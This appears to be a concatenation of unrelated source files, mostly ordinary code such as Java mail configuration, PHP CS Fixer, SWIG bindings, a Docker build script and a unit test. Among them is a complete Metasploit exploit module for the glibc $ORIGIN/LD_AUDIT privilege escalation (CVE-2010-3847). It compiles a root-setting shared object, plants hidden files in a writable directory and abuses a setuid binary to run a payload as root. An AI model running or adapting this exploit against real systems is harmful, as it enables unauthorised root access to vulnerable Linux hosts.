			  }

		  }else{
			  from=qn.getSendEmail();
		  }

		  if (qn.getUsernameOfSendEmail()==null || qn.getUsernameOfSendEmail().trim().equals("")){
			  if (site.getMailSmtpUser()!=null && !site.getMailSmtpUser().trim().equals("")){
				  user=site.getMailSmtpUser();
			  }else{
				  user=as.getText("lerx.mailSenderUsername");
			  }

		  }else{
			  user=qn.getUsernameOfSendEmail();
		  }

		  if (qn.getPasswordOfSendEmail()==null || qn.getPasswordOfSendEmail().trim().equals("")){
			  if (site.getMailSmtpPws()!=null && !site.getMailSmtpPws().trim().equals("")){
				  password=site.getMailSmtpPws();
			  }else{
				  password=as.getText("lerx.mailSenderUserPws");
			  }

		  }else{
			  password=qn.getPasswordOfSendEmail();
		  }

		  if (qn.getSendTitle()==null || qn.getSendTitle().trim().equals("")){
			  if (site.getMailTitleFromSite()!=null && !site.getMailTitleFromSite().trim().equals("")){
				  subject=site.getMailTitleFromSite();
			  }else{
				  subject=as.getText("lerx.mailSubject");
			  }

		  }else{
			  subject=qn.getSendTitle();
		  }

		  if (mod==0){
			  if (qn.getSendTemplateForAdd()==null || qn.getSendTemplateForAdd().trim().equals("")){
				  if (site.getMailBodyForQaAdd()!=null && !site.getMailBodyForQaAdd().trim().equals("")){
					  body=site.getMailBodyForQaAdd();
				  }else{

//						rootFolder=curStyle.getRootFolder();
						ReadFileArg rfv=new ReadFileArg();
						rfv.setAs(as);
						rfv.setRequest(request);
						rfv.setRootFolder(rootFolder);
						rfv.setFileName(mca.getFileName());
						rfv.setSubFolder("mail");

						body = FileUtil.readFile(rfv);

//					  body=FileUtil.readConfigFile(as, request, "qaAdd.txt","mailBody");
//					  body=as.getText("lerx.mailBody");
				  }

			  }else{
				  body=qn.getSendTemplateForAdd();
			  }
		  }else{
			  if (qn.getSendTemplateForReply()==null || qn.getSendTemplateForReply().trim().equals("")){
				  if (site.getMailBodyForQaReply()!=null && !site.getMailBodyForQaReply().trim().equals("") ){
					  body=site.getMailBodyForQaReply();
				  }else{
					  ReadFileArg rfv=new ReadFileArg();
						rfv.setAs(as);
						rfv.setRequest(request);
						rfv.setRootFolder(rootFolder);
						rfv.setFileName(mca.getFileName());
						rfv.setSubFolder("mail");

						body = FileUtil.readFile(rfv);
//					  body=FileUtil.readConfigFile(as, request, "mailBodyForQaReply.txt","mailBody");
//					  body=as.getText("lerx.mailBody");
				  }

			  }else{
				  body=qn.getSendTemplateForReply();
			  }
		  }

		  mail.getSrv().setSmtpServ(server);
		  mail.getSrv().setFrom(from);
		  mail.getSrv().setSmtpUser(user);
		  mail.getSrv().setSmtpPassword(password);
		  mail.setSubject(subject);
		  mail.setBody(body);
	  }else{
		  if (site.getMailSmtpServer() != null
					&& !site.getMailSmtpServer().trim().equals("")) {
				mail.getSrv().setSmtpServ(site.getMailSmtpServer());
				mail.getSrv().setFrom(site.getMailSenderAddr());
				mail.getSrv().setSmtpUser(site.getMailSmtpUser());
				mail.getSrv().setSmtpPassword(site.getMailSmtpPws());
				mail.setSubject(site.getMailTitleFromSite());
				mail.setBody(site.getMailBodyForReg());

//				Mail.setCharset(as.getText("lerx.charset"));

				 if (site.getMailBodyForReg()!=null && !site.getMailBodyForReg().trim().equals("") ){
//					  body=site.getMailBodyForQaReply();
					  mail.setBody(site.getMailBodyForReg());
				  }else{

						ReadFileArg rfv=new ReadFileArg();
						rfv.setAs(as);
						rfv.setRequest(request);
						rfv.setRootFolder(rootFolder);
						rfv.setFileName(mca.getFileName());
						rfv.setSubFolder("mail");

						body = FileUtil.readFile(rfv);
					  body=FileUtil.readFile(rfv);
//					  body=as.getText("lerx.mailBody");
					  mail.setBody(body);
				  }

			} else {
				mail.getSrv().setSmtpServ(as.getText("lerx.mailSrv"));
				mail.getSrv().setFrom(as.getText("lerx.mailSender"));
				mail.getSrv().setSmtpUser(as.getText("lerx.mailSenderUsername"));
				mail.getSrv().setSmtpPassword(as.getText("lerx.mailSenderUserPws"));
				mail.setSubject(as.getText("lerx.mailSubject"));
				mail.setBody(site.getMailBodyForReg());
				body=FileUtil.readConfigFile(as, request, "mailBodyForReg.txt","mailBody");
				mail.setBody(body);
			}
	  }

	  Mail.setCharset(as.getText("lerx.charset"));

		return mail;

  }
}


text:
#ifndef CPU_FEATURES_H
#define CPU_FEATURES_H

#include <sys/cdefs.h>
#include <stdint.h>

__BEGIN_DECLS

typedef enum {
    ANDROID_CPU_FAMILY_UNKNOWN = 0,
    ANDROID_CPU_FAMILY_ARM,
    ANDROID_CPU_FAMILY_X86,

    ANDROID_CPU_FAMILY_MAX  /* do not remove */

} AndroidCpuFamily;

/* Return family of the device's CPU */
extern AndroidCpuFamily   android_getCpuFamily(void);

enum {
    ANDROID_CPU_ARM_FEATURE_ARMv7 = (1 << 0),
    ANDROID_CPU_ARM_FEATURE_VFPv3 = (1 << 1),
    ANDROID_CPU_ARM_FEATURE_NEON  = (1 << 2),
};

extern uint64_t    android_getCpuFeatures(void);

__END_DECLS

#endif /* CPU_FEATURES_H */


text:
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Local::Linux

  def initialize(info = {})
    super(update_info(info,
      'Name'           => "glibc '$ORIGIN' Expansion Privilege Escalation",
      'Description'    => %q{
        This module attempts to gain root privileges on Linux systems by abusing
        a vulnerability in the GNU C Library (glibc) dynamic linker.

        glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
        properly restrict use of the LD_AUDIT environment variable when loading
        setuid executables which allows control over the $ORIGIN library search
        path resulting in execution of arbitrary shared objects.

        This module opens a file descriptor to the specified suid executable via
        a hard link, then replaces the hard link with a shared object before
        instructing the linker to execute the file descriptor, resulting in
        arbitrary code execution.

        The specified setuid binary must be readable and located on the same
        file system partition as the specified writable directory.

        This module has been tested successfully on glibc version 2.5 on CentOS
        5.4 (x86_64), 2.5 on CentOS 5.5 (x86_64) and 2.12 on Fedora 13 (i386).

        RHEL 5 is reportedly affected, but untested. Some versions of ld.so,
        such as the version shipped with Ubuntu 14, hit a failed assertion
        in dl_open_worker causing exploitation to fail.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Tavis Ormandy', # Discovery and exploit
          'Brendan Coles'  # Metasploit
        ],
      'DisclosureDate' => 'Oct 18 2010',
      'Platform'       => 'linux',
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
          [ 'Linux x64', { 'Arch' => ARCH_X64 } ]
        ],
      'DefaultTarget'  => 0,
      'References'     =>
        [
          [ 'CVE', '2010-3847' ],
          [ 'BID', '44154' ],
          [ 'EDB', '15274' ],
          [ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],
          [ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],
          [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],
          [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ]
        ]
    ))
    register_options(
      [
        OptString.new('SUID_EXECUTABLE', [ true, 'Path to a suid executable', '/bin/ping' ]),
        OptString.new('WritableDir',     [ true, 'A directory where we can write files', '/tmp' ])
      ])
  end

  def base_dir
    datastore['WritableDir']
  end

  def suid_exe_path
    datastore['SUID_EXECUTABLE']
  end

  def check
    glibc_banner = cmd_exec 'ldd --version'
    glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
    if glibc_version.eql? ''
      vprint_error 'Could not determine the GNU C library version'
      return CheckCode::Safe
    elsif glibc_version >= Gem::Version.new('2.12.2') ||
          (glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))
      vprint_error "GNU C Library version #{glibc_version} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "GNU C Library version #{glibc_version} is vulnerable"

    unless setuid? suid_exe_path
      vprint_error "#{suid_exe_path} is not setuid"
      return CheckCode::Detected
    end
    vprint_good "#{suid_exe_path} is setuid"

    unless cmd_exec("test -r #{suid_exe_path} && echo true").include? 'true'
      vprint_error("#{suid_exe_path} is not readable")
      return CheckCode::Detected
    end
    vprint_good "#{suid_exe_path} is readable"

    CheckCode::Appears
  end

  def upload_and_chmodx(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    cmd_exec "chmod +x '#{path}'"
    register_file_for_cleanup path
  end

  def exploit
    check_status = check

    if check_status == CheckCode::Appears
      print_good 'The target appears to be vulnerable'
    elsif check_status == CheckCode::Detected
      fail_with Failure::BadConfig, "#{suid_exe_path} is not suid or not readable"
    else
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    suid_partition = cmd_exec "df -P -- '#{suid_exe_path}' | awk 'NR==2 {print $1}'"
    base_partition = cmd_exec "df -P -- '#{base_dir}' | awk 'NR==2 {print $1}'"
    if suid_partition == base_partition
      vprint_good "'#{suid_exe_path}' and '#{base_dir}' are located on the same partition"
    else
      print_warning "'#{suid_exe_path}' and '#{base_dir}' are not located on the same partition"
    end

    payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
    payload_path = "#{base_dir}/#{payload_name}"

    # Set target
    uname = cmd_exec 'uname -m'
    vprint_status "System architecture is #{uname}"
    if target.name.eql? 'Automatic'
      case uname
      when 'x86_64'
        my_target = targets[2]
      when /x86/, /i\d86/
        my_target = targets[1]
      else
        fail_with Failure::NoTarget, 'Unable to automatically select a target'
      end
    else
      my_target = target
    end
    print_status "Using target: #{my_target.name}"

    cpu = nil
    case my_target['Arch']
    when ARCH_X86
      cpu = Metasm::Ia32.new
    when ARCH_X64
      cpu = Metasm::X86_64.new
    else
      fail_with Failure::NoTarget, 'Target is not compatible'
    end

    # Compile shared object
    so_stub = %|
      extern int setuid(int);
      extern int setgid(int);
      extern int system(const char *__s);

      void init(void) __attribute__((constructor));

      void __attribute__((constructor)) init() {
        setuid(0);
        setgid(0);
        system("#{payload_path}");
      }
    |

    begin
      so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
    rescue
      print_error "Metasm encoding failed: #{$ERROR_INFO}"
      elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
      elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
      fail_with Failure::Unknown, 'Metasm encoding failed'
    end

    # Upload shared object
    so_name = ".#{rand_text_alphanumeric rand(5..10)}"
    so_path = "#{base_dir}/#{so_name}"
    upload_and_chmodx so_path, so

    # Upload exploit
    link_name = ".#{rand_text_alphanumeric rand(5..10)}"
    link_path = "#{base_dir}/#{link_name}"
    fd = rand(10..200)
    exp = %(
      rm -rf '#{link_path}'
      mkdir '#{link_path}'
      ln #{suid_exe_path} #{link_path}/#{link_name}
      exec #{fd}< #{link_path}/#{link_name}
      ls -l /proc/$$/fd/#{fd}
      rm -rf '#{link_path}'
      ls -l /proc/$$/fd/#{fd}
      mv #{so_path} #{link_path}
      LD_AUDIT="\\$ORIGIN" exec /proc/self/fd/#{fd}
    )

    exp_name = ".#{rand_text_alphanumeric rand(5..10)}"
    exp_path = "#{base_dir}/#{exp_name}"
    upload_and_chmodx exp_path, exp
    register_file_for_cleanup link_path

    # Upload payload
    upload_and_chmodx payload_path, generate_payload_exe

    # Launch exploit
    print_status 'Launching exploit...'
    # The echo at the end of the command is required
    # else the original session may die
    output = cmd_exec "#{exp_path}& echo "
    output.each_line { |line| vprint_status line.chomp }
  end
end


text:
/* Automatically generated by configure - do not modify */
#define CONFIG_TCCDIR "/usr/local/lib/tcc"
#define GCC_MAJOR 3
#define HOST_I386 1
#define TCC_VERSION "0.9.23"
//#define TCC_TARGET_PE
#define TCC_TARGET_MEOS


text:
<?php

declare(strict_types=1);

/*
 * This file is part of PHP CS Fixer.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *     Dariusz Rumiński <dariusz.ruminski@gmail.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace PhpCsFixer\Console\Command;

use PhpCsFixer\FixerConfiguration\AllowedValueSubset;
use PhpCsFixer\FixerConfiguration\FixerOptionInterface;
use PhpCsFixer\Preg;
use Symfony\Component\Console\Attribute\AsCommand;
use Symfony\Component\Console\Command\HelpCommand as BaseHelpCommand;
use Symfony\Component\Console\Formatter\OutputFormatterStyle;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 *
 * @internal
 */
#[AsCommand(name: 'help')]
final class HelpCommand extends BaseHelpCommand
{
    /**
     * @var string
     */
    protected static $defaultName = 'help';

    /**
     * @param mixed $value
     */
    public static function toString($value): string
    {
        return \is_array($value)
            ? static::arrayToString($value)
            : static::scalarToString($value)
        ;
    }

    /**
     * Returns the allowed values of the given option that can be converted to a string.
     *
     * @return list<null|AllowedValueSubset|scalar>
     */
    public static function getDisplayableAllowedValues(FixerOptionInterface $option): ?array
    {
        $allowed = $option->getAllowedValues();

        if (null !== $allowed) {
            $allowed = array_filter($allowed, static function ($value): bool {
                return null === $value || \is_scalar($value) || $value instanceof AllowedValueSubset;
            });

            usort($allowed, static function ($valueA, $valueB): int {
                if ($valueA instanceof AllowedValueSubset) {
                    return -1;
                }

                if ($valueB instanceof AllowedValueSubset) {
                    return 1;
                }

                return strcasecmp(
                    self::toString($valueA),
                    self::toString($valueB)
                );
            });

            if (0 === \count($allowed)) {
                $allowed = null;
            }
        }

        return $allowed;
    }

    /**
     * {@inheritdoc}
     */
    protected function initialize(InputInterface $input, OutputInterface $output): void
    {
        $output->getFormatter()->setStyle('url', new OutputFormatterStyle('blue'));
    }

    /**
     * @param mixed $value
     */
    private static function scalarToString($value): string
    {
        $str = var_export($value, true);

        return Preg::replace('/\bNULL\b/', 'null', $str);
    }

    /**
     * @param array<mixed> $value
     */
    private static function arrayToString(array $value): string
    {
        if (0 === \count($value)) {
            return '[]';
        }

        $isHash = !array_is_list($value);
        $str = '[';

        foreach ($value as $k => $v) {
            if ($isHash) {
                $str .= static::scalarToString($k).' => ';
            }

            $str .= \is_array($v)
                ? static::arrayToString($v).', '
                : static::scalarToString($v).', '
            ;
        }

        return substr($str, 0, -2).']';
    }
}


text:
package org.yeastrc.constants_web;

public class MainWebConstants {
	/**
	 * The context of the current web app
	 */
	public static final String APP_CONTEXT_CONTEXT_PATH = "webAppContextPath";

	/**
	 * forgotPasswordConfigCache data
	 */
	public static final String FORGOT_PASSWORD_CONFIG_CACHE_OBJECT = "forgotPasswordConfigCache";

	/**
	 * globalAdminEmailConfigCache data
	 */
	public static final String GLOBAL_ADMIN_EMAIL_CONFIG_CACHE_OBJECT = "globalAdminEmailConfigCache";

}


text:
/* ----------------------------------------------------------------------------
 * This file was automatically generated by SWIG (http://www.swig.org).
 * Version 4.0.2
 *
 * Do not make changes to this file unless you know what you are doing--modify
 * the SWIG interface file instead.
 * ----------------------------------------------------------------------------- */

package com.frostwire.jlibtorrent.swig;

public class alert_notify_callback {
  private transient long swigCPtr;
  protected transient boolean swigCMemOwn;

  protected alert_notify_callback(long cPtr, boolean cMemoryOwn) {
    swigCMemOwn = cMemoryOwn;
    swigCPtr = cPtr;
  }

  protected static long getCPtr(alert_notify_callback obj) {
    return (obj == null) ? 0 : obj.swigCPtr;
  }

  @SuppressWarnings("deprecation")
  protected void finalize() {
    delete();
  }

  public synchronized void delete() {
    if (swigCPtr != 0) {
      if (swigCMemOwn) {
        swigCMemOwn = false;
        libtorrent_jni.delete_alert_notify_callback(swigCPtr);
      }
      swigCPtr = 0;
    }
  }

  protected void swigDirectorDisconnect() {
    swigCMemOwn = false;
    delete();
  }

  public void swigReleaseOwnership() {
    swigCMemOwn = false;
    libtorrent_jni.alert_notify_callback_change_ownership(this, swigCPtr, false);
  }

  public void swigTakeOwnership() {
    swigCMemOwn = true;
    libtorrent_jni.alert_notify_callback_change_ownership(this, swigCPtr, true);
  }

  public void on_alert() {
    if (getClass() == alert_notify_callback.class) libtorrent_jni.alert_notify_callback_on_alert(swigCPtr, this); else libtorrent_jni.alert_notify_callback_on_alertSwigExplicitalert_notify_callback(swigCPtr, this);
  }

  public alert_notify_callback() {
    this(libtorrent_jni.new_alert_notify_callback(), true);
    libtorrent_jni.alert_notify_callback_director_connect(this, swigCPtr, true, true);
  }

}


text:
export * from './arc_labels'
export * from './arc_link_labels'
export * from './ArcLine'
export * from './ArcShape'
export * from './ArcsLayer'
export * from './arcTransitionMode'
export * from './boundingBox'
export * from './centers'
export * from './interactivity'
export * from './interpolateArc'
export * from './types'
export * from './useAnimatedArc'
export * from './useArcGenerator'
export * from './useArcsTransition'


text: define(io.connect('/'));


text:
var Camera = require('./Camera');

/**
 * @namespace navigator
 */

/**
 * iOS-only parameters that specify the anchor element location and arrow
 * direction of the popover when selecting images from an iPad's library
 * or album.
 * Note that the size of the popover may change to adjust to the
 * direction of the arrow and orientation of the screen.  Make sure to
 * account for orientation changes when specifying the anchor element
 * location.
 * @module CameraPopoverOptions
 * @param {Number} [x=0] - x pixel coordinate of screen element onto which to anchor the popover.
 * @param {Number} [y=32] - y pixel coordinate of screen element onto which to anchor the popover.
 * @param {Number} [width=320] - width, in pixels, of the screen element onto which to anchor the popover.
 * @param {Number} [height=480] - height, in pixels, of the screen element onto which to anchor the popover.
 * @param {module:Camera.PopoverArrowDirection} [arrowDir=ARROW_ANY] - Direction the arrow on the popover should point.
 */
var CameraPopoverOptions = function (x, y, width, height, arrowDir) {
    // information of rectangle that popover should be anchored to
    this.x = x || 0;
    this.y = y || 32;
    this.width = width || 320;
    this.height = height || 480;
    this.arrowDir = arrowDir || Camera.PopoverArrowDirection.ARROW_ANY;
};

module.exports = CameraPopoverOptions;


text:
登录

      <form (ngSubmit)="login()" [formGroup]="form" class="form-group">

          <field [field]="field" [form]="form"></field>

          <button type="submit" class="btn btn-default btn-lg" [disabled]="!form.valid">登录</button>

      </form>


text:
if [[ -e ~/docker/digdag-build.tar.gz ]]; then
    gunzip -c ~/docker/digdag-build.tar.gz | docker load
fi
cd "$(dirname "$0")"
docker build -t digdag-build .
mkdir -p ~/docker/
docker save digdag-build | gzip -c > ~/docker/digdag-build.tar.gz


text:
require "minitest/autorun"
require "minitest/focus"
require "minitest/rg"
require "google/cloud/talent"


text:
// Copyright 2014 The Oppia Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS-IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

/**
 * @fileoverview Unit tests for the controller of the library page.
 */

describe('Library controller', function() {
  beforeEach(module('oppia'));

  describe('Library', function() {
    var scope, ctrl, rootScope, $httpBackend;

    beforeEach(function() {
      module('ui.bootstrap');
    });

    beforeEach(inject(function(_$httpBackend_, $rootScope, $controller) {
      $httpBackend = _$httpBackend_;
      $httpBackend.expectGET('/searchhandler/data').respond({
        allow_yaml_file_upload: false,
        explorations_list: [{
          id: '3',
          title: 'Geography 2',
          category: 'Geography',
          objective: 'can view more maps',
          language: 'español',
          last_updated: 12345678912345,
          community_owned: false,
          status: 'featured'
        }, {
          id: '5',
          title: 'Landmarks',
          category: 'Geography',
          objective: 'can view maps',
          language: 'English',
          last_updated: 12345678911111,
          community_owned: false,
          status: 'public'
        }, {
          id: '6',
          title: 'My Exploration',
          category: 'Personal',
          objective: 'can be for myself',
          language: 'English',
          last_updated: 12345678954322,
          community_owned: false,
          status: 'public'
        }],
        preferred_language_codes: ['en']
      });

      GLOBALS.LANGUAGE_CODES_AND_NAMES = [{
        code: 'en',
        name: 'English'
      }, {
        code: 'es',
        name: 'español'
      }, {
        code: 'hr',
        name: 'hrvatski'
      }];
      scope = $rootScope.$new();
      rootScope = $rootScope;
      ctrl = $controller('Library', {
        $scope: scope,
        alertsService: null,
        ExplorationCreationButtonService: {
          showCreateExplorationModal: null,
          showUploadExplorationModal: null
        },
        oppiaDatetimeFormatter: null
      });
    }));

    it('should show correct explorations', function() {
      // TODO(sll): Write tests for the library pages.
    });
  });
});